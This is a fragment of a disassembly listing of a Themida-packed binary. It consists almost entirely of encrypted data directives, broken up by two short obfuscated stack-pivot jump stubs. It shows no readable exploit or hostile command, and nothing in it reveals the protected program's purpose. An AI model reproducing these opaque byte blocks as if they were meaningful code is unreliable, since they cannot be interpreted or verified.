		dd 0E9138B61h, 0Fh, 0CB2D885Dh,	7063C403h, 4E4C4F98h, 81AE1FC8h
		dd 0F408A1EAh, 0EE969h,	455D0000h, 0CA120967h, 2F268DCEh
		dd 0F6FBAD06h, 94E8F281h, 14E96186h, 4000000h, 0DB5A241Ah
		dd 863F5CB8h, 4DBD3A63h, 5B2256FBh, 8108F1F3h, 0DA7584F2h
		dd 89CE8A4Bh, 28C0F13h,	0B0000000h, 4EB839Ah, 0EE816160h
		dd 1, 12850Fh, 0F8600000h, 0E243B866h, 17E961h,	58330000h
		dd 0B43060A1h, 376AB866h, 0FFFF74E9h, 0E418F1FFh, 3E8E456Ah
		dd 608D8D50h, 6A0616F0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 20C4C357h, 78D211D2h
		dd 31AFE72h, 10209595h,	81666006h, 61C3C2EEh, 9F58D89h
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0A706D9C3h, 229DFC98h, 84A7BE66h,	13E9h
		dd 4E6ADF00h, 88B867BEh, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h
		dd 231985C7h, 6FC00610h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F94539C3h, 786BC081h
		dd 85C713E9h, 61022C1h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C7C35040h
		dd 0F92F74AEh, 30C5B5FFh, 95890610h, 6100845h, 0C1C9EEB8h
		dd 0B995FF72h, 6A06102Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0A52BC356h,	2CD23DDBh
		dd 10E8h, 63D6ED00h, 1F3AB5CAh,	921951E0h, 0D90E8429h
		dd 0B58960F4h, 6100829h, 5B616160h, 95FF006Ah, 61031C9h
		dd 3CEBC08Bh, 8D308F3Dh, 0B7257168h, 0F648086Bh, 0F5AE3683h
		dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h
		dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 711B1F9Bh, 0D93A7796h
		dd 63EF2378h, 1AE9h, 0CB590800h, 39h, 4	dup(0)
		dd 0E9000000h, 4FBh, 16F1E368h,	8F9EE906h, 7268FFF9h, 0E90616F2h
		dd 0FFF98F94h, 16F3D168h, 8F8AE906h, 9F4FFFF9h,	0B359E05Ch
		dd 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h,	0C783C266h
		dd 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh, 4D6BDA8Ch
		dd 4D7C450h, 0F571255Ch, 6AA95BD8h, 33681FB6h, 508B2A77h
		dd 0CC07BB7Eh, 597F5CD8h, 0FC1F31B2h, 0DECDB367h, 9423A164h
		dd 0D3C7A480h, 42FCAB57h, 0A19423A1h, 9B767312h, 7B397B58h
		dd 33Bh, 37BA15D1h, 718932A0h, 6C275DCAh, 7B577BB6h, 0BA39AA61h
		dd 81DD67FCh, 289A916Fh, 0CC943C0Ah, 378B7E50h,	0CF943C0Ah
		dd 12B97653h, 9159943Dh, 7C4E8D2Ch, 7700D88Dh, 0BD6F669Bh
		dd 0B28E927Eh, 227F6CBEh, 91DB39B1h, 0FE156885h, 0C80803DDh
		dd 8891862Bh, 9F4FF3B6h, 0CBA79DA5h, 5D06D5A7h,	594D021Fh
		dd 0B0945DC8h, 758B60C4h, 0DC1DD08Bh, 0A42F4C28h, 2812C6FBh
		dd 0D3BF00B1h, 25D110B4h, 8B482541h, 73A9FD4h, 0B4380D8h
		dd 3348A1Bh, 9F4F0000h,	0B359E05Ch, 9439C07Ch, 0B358DF5Bh
		dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
		dd 0DF5B9037h, 0A91910ECh, 4D6BDA8Dh, 0BD5CC450h, 1F5D4C1Eh
		dd 0A767F76Ch, 9908BAC2h, 1E5D27Bh, 0A74A11EFh,	26CA9166h
		dd 0A34615E7h, 0EFD18562h, 7FA81A11h, 7F2A9425h, 94257FC3h
		dd 0DB574723h, 4B9335FEh, 0C5C490A2h, 94257E7Dh, 0F5B09D99h
		dd 0FA2FD86Ah, 2A462A06h, 0D9942F76h, 0A79425h,	0C21D1ECBh
		dd 39ED4A00h, 2A5B0h, 0CB0EC000h, 0A9E0880Fh, 0C6FFA635h
		dd 0A3E08312h, 0BDFCB027h, 8DFF0B01h, 99209CDBh, 7403B7F8h
		dd 0A01793CEh, 13F6B2E7h, 8EC08229h, 0C7246BDAh, 1EBD5CFDh
		dd 6C1F5D4Ch, 0CBA767F7h, 6C3690D7h, 66079425h,	59B2FE1Ch
		dd 40246E38h, 588F3554h, 35CCEFACh, 4EE59E87h, 818C62ABh
		dd 1B94239h, 32880000h,	39504479h, 0B8835D92h, 51863D11h
		dd 0F1A5C1A5h, 7C368C7Fh, 52CE6DCCh, 80E5596Eh,	0A1886279h
		dd 67FC11B8h, 771ED24Eh, 942396CFh, 0FBFE952Eh,	397B3FB2h
		dd 3192h, 4D7F800h, 0B548255Ch,	0E8A3BD1Eh, 67FC7CCBh
		dd 7423CF4Bh, 942383CAh, 0B66AA95Bh, 45316A1Fh,	0D6FA992Ah
		dd 0FAFF962Dh, 397B36B7h, 0DA97h, 7932F500h, 0E6C006A9h
		dd 2B8B793Ah, 0FBD5F1D5h, 7A4F8A40h, 815B0D8Ch,	0C2AE92CDh
		dd 23DF168h, 0D56D1C0Eh, 316DCCF2h, 4C3F1135h, 6DCCF2F6h
		dd 7E35120Eh, 0E5E490C5h, 64F7093Eh, 0F16582BFh, 0CC8FAE3Ah
		dd 93C87F6Dh, 32084517h, 17E725B3h, 373A8883h, 7EDA6DCCh
		dd 0E1F88562h, 8470AB5Fh, 0C1AAC4A0h, 82A095BFh, 0F709DE9Dh
		dd 0FABF0C34h, 7688E467h, 460241E3h, 443E574h, 83B86CE7h
		dd 21253A88h, 627EDA94h, 43E7EF5h, 5142524Ah, 146h, 0BA6EB161h
		dd 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h, 0B0548602h
		dd 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h,	0DA8F5FE3h
		dd 723AB76Bh, 7C5696D7h, 0FAF266FDh, 73B256DDh,	0B256E5B7h
		dd 26DD5673h, 0D7AF3DF1h, 6F235E04h, 0A65DD6F3h, 817DDE68h
		dd 1C9B9FC1h, 584C2869h, 13BA8A41h, 7B4126DAh, 739EDC38h
		dd 6C29EC2h, 0AFC11AB9h, 0FC24C7FCh, 29431F67h,	0BBFFEB2h
		dd 0CA03AA31h, 89805AD6h, 943CE339h, 0BF6C81DDh, 943CE307h
		dd 7E3A6F18h, 31661D9Ch, 2E2AD845h, 58C2042Dh, 30D45F7Ch
		dd 0A45CDFF1h, 0C4C7B96Dh, 943C717Eh, 0A1B69A96h, 8CF4E5h
		dd 5C480000h, 5D4C1EBDh, 67F76C1Bh, 0D815BA81h,	6F33482Ch
		dd 0DF88FFF3h, 709BD0AAh, 5F55EF07h, 0A56F2613h, 432025E8h
		dd 8229B026h, 0C912594Dh, 9AD4D8E0h, 14CB6A09h,	33EC6BDFh
		dd 0D07312FEh, 3FE8DF93h, 0CA7F160Ah, 36771A91h, 0AA9584Ah
		dd 97221CC6h, 316820F0h, 0E805E145h, 0CE75BC53h, 160A4BFEh
		dd 9882361Ah, 1A152B3h,	0B157C576h, 2DDF567Ah, 491E02EEh
		dd 0F0A4D992h, 0DE7h, 215F5500h, 7CF64C3Fh, 120E6DCCh
		dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 50CF5541h
		dd 405E089h, 83000000h,	48704E8h, 24248B24h, 3AB268h, 242C8900h
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 0E368240Ch
		dd 8B0616F0h, 0C483242Ch, 0C8B5404h, 4C48124h, 81000000h
		dd 4ECh, 242C8900h, 8B08418Fh, 8950240Ch, 405E0h, 4050000h
		dd 87000000h, 8B5C2404h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0D93380AEh, 0B812AD67h, 616F53Ch, 0E0FFC503h, 2799A518h
		dd 694858D9h, 12E2AA8Eh, 5573694Ah, 6EF273A4h, 5BD6E045h
		dd 76CBF018h, 5E9559D8h, 6A31BE7Fh, 4E818DDBh, 27B4C52Fh
		dd 6056C3A5h, 67C81F17h, 7EA73826h, 12A7A91h, 1EBC488h
		dd 1D3EA071h, 2C80A945h, 59B2AB43h, 1918D5F7h, 79D6308Eh
		dd 7C743B18h, 57845ADBh, 0BE8h,	800E8D00h, 8FF74A53h, 4F56DE6Ah
		dd 5BFE8B66h, 81FEBF0Fh, 7498C3h, 7316B900h, 6836C1h, 81000000h
		dd 7476FEEh, 820F5871h,	6, 3687D981h, 148B5D9Ch, 0FA8B6603h
		dd 6B54F281h, 0FE9546Dh, 5B000000h, 1B67A72Bh, 0ABBF3939h
		dd 9AAFF3F9h, 0C281528Ch, 53FC49FCh, 0FFCE8166h, 39C28135h
		dd 660E0394h, 89D640BFh, 8DB50314h, 178AB966h, 0F04E883h
		dd 138Fh, 7E800h, 153C0000h, 6B64D95Eh,	830F47h, 59000000h
		dd 8C28F881h, 850FFFFFh, 17h, 0E9F0B70Fh, 21h, 56DCCF8Ah
		dd 0E9A4BE8Dh, 7049AAB8h, 66F6438Eh, 0E98E0ABFh, 0FFFFFF7Ah
		dd 7E4356BAh, 9C9CCEABh, 14E80Ah, 0BFE50000h, 18C70BA7h
		dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 0F081524Bh, 483BBFD5h
		dd 0BE66575Fh, 8158D03Dh, 6F8FC7h, 0C18B6600h, 68h, 0BE666000h
		dd 8B0FE314h, 4, 6D09BA66h, 13E95961h, 1D000000h, 0ED7EAD9Bh
		dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 148B1B7Dh,	1CF2810Fh
		dd 0BE6DD6EFh, 4C5D1990h, 303DC281h, 46B702A1h,	6DBDEA81h
		dd 83B76D36h, 0D6816652h, 48F932Bh, 0D88B660Fh,	338E981h
		dd 8166663Fh, 818C66D3h, 3F0334C1h, 0C1B86666h,	40F981AEh
		dd 0FFFFF91h, 1485h, 8FB05100h,	27E95Eh, 0EC0C0000h, 76FA4C1Bh
		dd 4F794EBFh, 4870FA7h,	66000000h, 0E98358B8h, 0FFFFFF92h
		dd 1CEB4DADh, 0F3A22918h, 4CAC48AEh, 0EE835h, 97FE0000h
		dd 4E124506h, 0D6779F6h, 2B9E3E14h, 1332BE66h, 0F505158h
		dd 5F5BDFBFh, 5DE7C081h, 0DD8A0000h, 174CB9h, 0F108B00h
		dd 38Eh, 0F28B6600h, 8CEFEA81h,	0C281332Fh, 782E8224h
		dd 7C59EA81h, 8050717Bh, 895EB5D7h, 38E0F10h, 0F000000h
		dd 0E883D8B7h, 59DB8103h, 48476D04h, 133250BBh,	1E98333h
		dd 28850Fh, 12E80000h, 10000000h, 0DB116D8Fh, 0CA29B0C9h
		dd 17B559B3h, 95A95276h, 0E95FF9EAh, 31h, 1731A2C7h, 0D7327812h
		dd 0BE8F353h, 9D000000h, 4C9AEF64h, 0F8F334ABh,	94BB9E1Fh
		dd 5F77D266h, 0FFFF78E9h, 0A08C70FFh, 0B294BF1Ch, 7967B5A9h
		db 46h
byte_5BACF1	db 0E9h, 16h, 0		; DATA XREF: Themida_:0054DCC4o
		dd 212B0000h, 1972h, 4 dup(0)
		dd 0B36E9h, 0FA156800h,	3DE90616h, 68FFFA52h, 616FB0Bh
		dd 0FA5233E9h, 0FCE768FFh, 29E90616h, 68FFFA52h, 616FDE4h
		dd 0FA521FE9h, 0FF7C68FFh, 15E90616h, 68FFFA52h, 617012Dh
		dd 0FA520BE9h, 24068FFh, 1E90617h, 70FFFA52h, 0FDF0A557h
		dd 714411CBh, 8F5AA5Ch,	78451ACCh, 89FBA862h, 2AE4F6B9h
		dd 97518875h, 31E3FBCAh, 88429164h, 0FD8AD9DBh,	1DDF3D5Ah
		dd 5CAD5DFBh, 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h
		dd 0E12E5541h, 11B82F4Ah, 3F13CE85h, 0BE93C9D9h, 38C8h
		dd 0D60C7900h, 0A8C9751Ch, 621A48C2h, 45E2E08Bh, 0D5241DD8h
		dd 0A78DCE80h, 0FA87D8F7h, 9F518BE6h, 9F1E7220h, 365DAAF3h
		dd 9911B845h, 2DB38F2Ah, 1CBE93B8h, 0DFh, 0AC075C64h, 28D6FDB7h
		dd 82CE88DBh, 202FBC2Bh, 3517C845h, 0AA647C49h,	9D367723h
		dd 4140FA50h, 0DCF481F2h, 44C0CF22h, 0E99517C8h, 540E3DC8h
		dd 3DF10E5Dh, 2BA4822Eh, 0FB9ABD08h, 0CBBB17C8h, 0AFA4F1A2h
		dd 0A4FA0F5h, 7017C901h, 1F4A15Bh, 187918D2h, 105B522Ah
		dd 1DD905E2h, 951C4935h, 8DDED5A9h, 9130EAE0h, 0E8A2B542h
		dd 0C3B311B8h, 67F9CE8Fh, 1017CBA1h, 8FDE8D64h,	5501803Ah
		dd 0EEAF6960h, 5C09C317h, 10C21A67h, 0AA64764Fh, 1531B84Ch
		dd 4FE5E4E2h, 916h, 315E1047h, 7DD28CC4h, 2E631530h, 7ED385BFh
		dd 34611B2Fh, 9DAD7040h, 0A3FAEE3h, 9CB20350h, 1348B5EAh
		dd 59A80C59h, 0DF3E8BAEh, 7C2CCA1Dh, 754C065Ch,	44D67906h
		dd 8F7F17C8h, 352697CEh, 487C267Bh, 9A80531Ah, 0E2114A1Dh
		dd 36B43FAEh, 411DD84Ah, 4AE12E55h, 8511B849h, 0D93F13CEh
		dd 0C8BE93B3h, 0CEh, 4D075C20h,	29E3F746h, 573E59AAh, 0DCEB009h
		dd 1524CF1Eh, 4017C856h, 67BC0B54h, 1317C85Ah, 6C5906C0h
		dd 0B316BD77h, 7708F78Fh, 4C81D40Ah, 1B47F39Ah,	5F437552h
		dd 28D41DD8h, 205EBED9h, 1BD418A7h, 0D6840BC5h,	6D1F358Ah
		dd 0AEF7B866h, 0E09AB03Dh, 856C35E1h, 0A14EA5D9h, 17CAC28Eh
		dd 99E8D7C7h, 0F3938049h, 0EC124064h, 5571D0A9h, 481C28F0h
		dd 0DA7D0A79h, 7B0BA571h, 3283E28Bh, 0EE906620h, 32E215F0h
		dd 820992Fh, 0FE510000h, 0B2A6174Ch, 35AABF8h, 9BB10451h
		dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh
		dd 1A470152h, 9DBC479Ah, 0B81DDF3Fh, 65C6A1Eh, 0B5A6174Ch
		dd 2BD292ECh, 80D42438h, 75C87D3h, 0E4F7464Dh, 0CE74752Ah
		dd 66BC47B6h, 101DD855h, 3485145Fh, 83D011B8h, 9FC0944Eh
		dd 6B1AE995h, 0F49FC072h, 65BB6A5h, 0D6FDB7ABh,	0A9557C28h
		dd 0A7506FDh, 11B83467h, 81105BEEh, 0D411B834h,	4E877C28h
		dd 2849F59Ch, 0A15B703Dh, 56DFD522h, 0A21198FEh, 3C2F4C07h
		dd 88D781ADh, 0BC0FF6B7h, 13BA6C61h, 97663B67h,	0B8038A44h
		dd 8A719896h, 40F5B02Fh, 0B104510Bh, 9EE9E8A2h,	8A7198F4h
		dd 8D34EEE4h, 41AE0B40h, 8A71992Eh, 0A42B7727h,	0D2AC312h
		dd 45A12324h, 0E2BDE9BCh, 3E8D48E1h, 0CE522D84h, 856C4FD4h
		dd 3786DF80h, 2636A24h,	2CD9285Ch, 0FF92DD32h, 568A71D5h
		dd 52B1FAA6h, 81DFDBA5h, 33600C90h, 5FC80AEh, 71ECDC7Ah
		dd 0EC93838Ah, 51A88D9Fh, 43FD537Eh, 26D8ED3Ch,	32EBF4A7h
		dd 5811C024h, 0FA50147Ah, 8D4F2C51h, 0F6A512B1h, 0E742849h
		dd 0CC000004h, 3B5EA95Ah, 0AB17C845h, 8676FCB6h, 4C16F3CBh
		dd 0A19155h, 163CC5F0h,	341B235Fh, 0E6BA3952h, 55AE6C17h
		dd 1BF81DD9h, 0AF3CB2A3h, 0BC6E665Fh, 743D6915h, 0A6607300h
		dd 6C3F9AFAh, 0DE92C79Bh, 0BC766B70h, 0C63D6915h, 0BA145739h
		dd 1D948096h, 0DA0E21CEh, 57478A99h, 361C7D16h,	0FA45F4Eh
		dd 2EE0F629h, 0BFF9A753h, 27D6259Eh, 0A9557C2Eh, 0AFF6FF08h
		dd 0BB6B90ADh, 0ECA6B544h, 0B81546B7h, 86A52C4Bh, 81DC2984h
		dd 4E02B0CFh, 1AB96B61h, 26C2386Ch, 6A6934BEh, 644D167h
		dd 62750000h, 0BE12E3B0h, 675E4F04h, 0B70DE0B5h, 6D5D5005h
		dd 0A68EDEB3h
dword_5BB168	dd 6035EFE3h, 0CD823C8Dh, 5F34E6E0h, 0CE833D8Eh, 61F07BCEh
					; DATA XREF: Themida_:00571221o
		dd 0F41DDF41h, 1A48AE5Ah, 1AE08B62h, 0CD1DD856h, 345EF17Eh
		dd 7F711B8h, 0F6E5345Bh, 0F9EA953Ch, 18CD7140h,	0DA8807C1h
		dd 76CC3786h, 7117C844h, 8BBF2E85h, 0E6D590D1h,	0AAE7A95h
		dd 53F2F3EFh, 0A76DD160h, 0D798840Bh, 4C82DDEEh, 1B47F39Ah
		dd 4A0455A4h, 0BDD69743h, 22A15B70h, 0D59029B8h, 397CC86h
		dd 0C4A48E9Dh, 2D88Ch, 1A48D400h, 8BDC8B62h, 9231EBDEh
		dd 457E11E4h, 27D717C8h, 3D798186h, 2F21DDFh, 9EAD3CABh
		dd 4C7E11E4h, 84D711B1h, 0B14C58F7h, 4511FD11h,	85AA71Ch
		dd 0DDE49EADh, 0BD306531h, 5FACD38Dh, 11B14BCBh, 0B56F620Fh
		dd 0C63F600Eh, 6D273A95h, 0BE49B866h, 11B14B9Bh, 2096CABAh
		dd 0DC0A16EAh, 47FD9316h, 78000005h, 5F8AD5Fh, 794C19D3h
		dd 10DDB264h, 604D02B4h, 91E3B06Ah, 32ECDEA1h, 7F39905Dh
		dd 39EBE3D2h, 904A996Ch, 0E592E1C3h, 1DDF4252h,	48B56503h
		dd 348FC11Ah, 683C681Ah, 3DD6EE99h, 0E9951DDFh,	3CA4FD1Ah
		dd 57F0F701h, 0F4BD776Ah, 90DF90DFh, 0B22A54E3h, 0A2150111h
		dd 11B2298Fh, 6C2635C6h, 0C4EDB965h, 0B581241h,	0D0EFA9BAh
		dd 8AF55281h, 11B229E7h, 0ABD27E6Eh, 6C19D443h,	0BC51C77h
		dd 12980A57h, 3BE99D3h,	1E5h, 4D075C47h, 2AE4F746h, 0B6CE7475h
		dd 0F2A4BA47h, 857E1FCBh, 0D85AE0FAh, 0F897871Dh, 239CECA7h
		dd 3A4D3B29h, 5E396D27h, 415146F4h, 4BBCE5CBh, 11B81C28h
		dd 0E5EC9EB6h, 0F4EA3D98h, 226F0E42h, 0A14D742Eh, 0E0F6AF24h
		dd 0DF944D04h, 594DF90h, 5011B81Ch, 1C3E51A4h, 671711B8h
		dd 0DD369C46h, 3D27BE93h, 7B000000h, 0B2AB5Ah, 0C8E99BB3h
		dd 32810529h, 0D84543C5h, 4948341Dh, 0B84457FEh, 30C97811h
		dd 93B8CC52h, 4195E4BEh, 37F07FECh, 0B96511B8h,	0C66916EDh
		dd 8F11B837h, 0C81EBEDFh, 62000000h, 0FFB1AB5Ah, 0BA74675Eh
		dd 0C833C413h, 17C844A9h, 269FC0ACh, 6537A34h, 25741BD5h
		dd 0B2ED936h, 4A17C845h, 6E59065Ah, 17C84995h, 673CF6E5h
		dd 59A8DC82h, 0DAF509AEh, 144D481Dh, 0D385BF82h, 0D73B7770h
		dd 95C5348Bh, 5A3586DBh, 174BB13h, 0C318EDC4h, 93DC8A09h
		dd 90662032h, 0DC060524h, 0AFBB5150h, 0E0000003h, 8D6035E7h
		dd 0E1D4813Bh, 98653AECh, 0E8D58A3Ch, 196B38F2h, 0BA746629h
		dd 7C118E5h, 0C1736B5Ah, 78322194h, 0CD3AC92Bh,	1DDF43AAh
		dd 5C5D4DABh, 3B5EA906h, 0AB17C845h, 732301B3h,	0D21FD01Fh
		dd 5CFBC680h, 1C17C845h, 0A3AB3E12h, 96E54B5Bh,	0C88C46E9h
		dd 335F0F17h, 99CA3B6Ah, 5CE8B2DFh, 99764D07h, 25448CA3h
		dd 32E4E039h, 47963D5Eh, 16635A14h, 0DC8A09C3h,	63CFD293h
		dd 33E7A41Bh, 767D3413h, 0B03BC8E9h, 1DD8F8EAh,	217211FDh
		dd 4E543166h, 0AE0336ABh, 4CBBE496h, 11B9162Bh,	0E4EB9DB7h
		dd 38A4495h, 4A5C1586h,	378EDB5Ah, 2EC7DC85h, 3887FF63h
		dd 0C91FF5CBh, 0AB02F217h, 0F700E6D0h, 640D37A9h, 0B641B201h
		dd 0BA92EA3h, 7B2D21B2h, 0B1FAA654h, 4D075CF9h,	1BCD0776h
		dd 0EEA5C674h, 9DF2AC9Fh, 7F6E163Ch, 0A928DAF2h, 67549AFDh
		dd 15C781E9h, 0F60C774Ch, 711DD86Dh, 9AB1FE85h,	3511B842h
		dd 890FE37Eh, 78BE93B5h, 2Eh, 621A48D0h, 45E2E08Bh, 67241DD8h
		dd 90F1C8Eh, 80F4BD0Dh,	8BA2ED94h, 4411B855h, 98FED48Dh
		dd 89BE93A6h, 0BEh, 0DD97CB3Ah,	75CD694h, 0E3F7464Dh, 281E971Ah
		dd 0F4A0D00Ch, 914B80CDh, 0F6B0A3F2h, 0B1AB5AA9h, 0C42F80FFh
		dd 17C850B5h, 0FFA0F4A0h, 0C8563308h, 5A144717h, 0E9A3B805h
		dd 0A3DB87EAh, 0A0E09B4Ch, 0C59AB570h, 839FCE3h, 6BFB034Dh
		dd 76DBC542h, 20CC1DD8h, 0BCC06E73h, 80FBA45h, 463617CBh
		dd 1ED80A77h, 944E8471h, 15CBE816h, 972D2CE2h, 1FEh, 3966182Fh
		dd 85DA94CCh, 366B1D38h, 86DB8DC7h, 3C692337h, 0A5B57848h
		dd 1247B6EBh, 0A4BA0B58h, 0FB509DF2h, 41901441h, 0DF45A3B6h
		dd 6414B21Dh, 174C065Ch, 78D5E7A4h, 96DA956Ah, 0C88246E9h
		dd 335F0F17h, 8E489B6Ah, 0A95A99C1h, 0C8453B5Eh, 936A1A17h
		dd 0C84549E8h, 3F600C17h, 9F88CB2h, 20D20B7Ah, 5BACF5A1h
		dd 1DD845CDh, 88D3FAAAh, 11B844E5h, 9BA73EAh, 456A0D7Ah
		dd 3BEB11B8h, 0B7EA7072h, 502BE93h, 0C918E05Fh,	98446D63h
		dd 0CBh, 4D075CF0h, 29E3F746h, 4A045DAAh, 57417C8h, 0AE6879D4h
		dd 902F630Fh, 174CB9E2h, 0A6B5085Dh, 0DE84E5ECh, 57A857A6h
		dd 0C83F8DACh, 52045917h, 7BD320CCh, 391FA8C9h,	6E1DD853h
		dd 8FC22F7Eh, 0D8D98CD5h, 509B126Ah, 17CAE25Ah,	631D2DBCh
		dd 87EDAE5Ch, 226B2897h, 2D803BACh, 0B140C3ECh,	6918E7A1h
		dd 83F0BF79h, 0BA63DF4h, 0B9ECB561h, 5E5C164Ch,	0E215254Ah
		dd 0EB55EB6Eh, 1C000000h, 714411C3h, 0FDF0A55Fh, 7C4916C8h
		dd 14E1AE60h, 0DD4F04BEh, 86409215h, 3BF5ECD9h,	8D3F9766h
		dd 3CF6E5D8h, 89F68567h, 1DDF46E6h, 5C29D16Fh, 0A6174C06h
		dd 0AF045AB5h, 0C8453544h, 20742017h, 451326D1h, 524217C8h
		dd 5C0951FEh, 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DDF3D24h
		dd 0E1F5403Fh, 0A608464Ah, 5586D3FAh, 0E4F7C69Bh, 0A354A32Ah
		dd 0B2313958h, 2F701C11h, 175623D8h, 39F46731h,	269D578Ch
		dd 85468469h, 4CA257FAh, 330EFEF2h, 0B2FB4093h,	17D102F3h
		dd 4E0859A8h, 0B9DA832Fh, 0BFBE706Ch, 78036072h, 0F24CE8D9h
		dd 0BDC4907Ch, 1CA35570h, 0DB8A23B2h, 0CE99CD87h, 7A691CD5h
		dd 312293C0h, 1FC05877h, 21000000h, 0C7C678D4h,	0EB18521Bh
		dd 0C71A6718h, 4497BA0Dh, 0A24D17C8h, 17C8448Fh, 0AC58D6C6h
		dd 35CA703h, 0F0E33251h, 144A9736h, 0BB0E5B62h,	1F338201h
		dd 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h, 56945170h
		dd 0C6815E54h, 4, 8704EE83h, 565C2434h,	0C681E689h, 4
		dd 4EE81h, 34870000h, 0C895C24h, 4B5C6824h, 3C890000h
		dd 0B7BE5624h, 0C140372Ah, 0D6F703EEh, 8305EEC1h, 0C681FFEEh
		dd 0FE573016h, 545EF189h, 83243C8Bh, 6F6804C4h,	8900004Ah
		dd 8B82404h, 1000000h, 580889F8h, 5F2434FFh, 8B04C483h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		dw 3C23h
		dd 24C287A4h, 0B831EC82h, 6170350h, 0E0FFC503h,	18BEBD69h
		dd 57AF6DB9h, 325BFC38h, 4BBBC928h, 3DD92A9Bh, 64D8E4CEh
		dd 5AEB6F8Ch, 3750FBA6h, 5962157Eh, 10EEE310h, 3F0DFB6h
		dd 271427BCh, 384ED538h, 6CC3B455h, 3F5ED3CBh, 4035F14Bh
		dd 6F635A60h, 1F35633Ah, 4EBD3B9Ch, 51FFC548h, 1B56B7Ah
		dd 0A43EC8Bh, 68D903F9h, 76B89713h, 5258D8Dh, 0B5890617h
		dd 6102859h, 9F58D89h, 6A0610h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 928AFFC3h, 231985C7h
		dd 66D40610h, 9D8B0000h, 61013C5h, 1069BD8Bh, 85C70610h
		dd 61022C1h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DEC35747h
		dd 0FB56A2CAh, 687BD5C1h, 68B0Fh, 0BD890000h, 6103335h
		dd 4E9B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4B2726C3h, 5B36162Ch, 0D18589A7h
		dd 0FF061006h, 102DB995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 58225509h
		dd 0AD767896h, 0FF006AEBh, 1031C995h, 0EBC08B06h, 19B30A18h
		dd 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
		dd 3F8D8DC1h, 6A061706h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0F5E9C353h,	0AF89788Fh
		dd 0B70F3850h, 0F58D89F2h, 6A061009h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0DCEAC355h
		dd 0DD061A3h, 814F34D7h, 564EF6CFh, 1985C706h, 80061023h
		dd 6A000063h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 2923C351h, 58CFC68Bh, 80944CFDh
		dd 0F1BBEEF3h, 0C7739155h, 1022C185h, 6, 8BE7B400h, 10167185h
		dd 89B5FF06h, 8B06101Dh, 0B995FFF9h, 6A06102Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0BEFC352h, 98AF010Fh, 774DE174h, 14E9h, 0A0AC1C00h
		dd 372C1A7Ch, 711B1F9Bh, 0D93A7796h, 63EF2378h,	1D95232Dh
		dd 6A061002h, 0C995FF00h, 8B061031h, 822DEBC0h,	0BD04B873h
		dd 0FCCB6827h, 0F848FAC6h, 0A2D0B01Ah, 69CC6ED4h, 8DD8E6h
		dd 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h
		dd 7468D8Dh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 7FB844C3h, 89F78B66h, 1009F58Dh
		dd 1985C706h, 2C061023h, 80000060h, 85C78FF7h, 61022C1h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 29C35747h
		dd 563BD3A0h, 0B731C262h, 4E9B5FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 603BB5C3h
		dd 0FFC3B4CAh, 102DB995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4C1612BDh
		dd 13E96667h, 26000000h, 0F81297AAh, 65139864h,	0BCF6CBEAh
		dd 0C76F1EF8h, 6ADF0Ch,	31C995FFh, 0C08B0610h, 0D4D18EBh
		dd 0DA282172h, 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h
		dd 8E84967h, 10000000h,	8E2A84D5h, 93E12D5h, 102399B5h
		dd 0DA815806h, 2AFA599Ah, 6CB4C081h, 8E0F0000h,	6, 1F559D09h
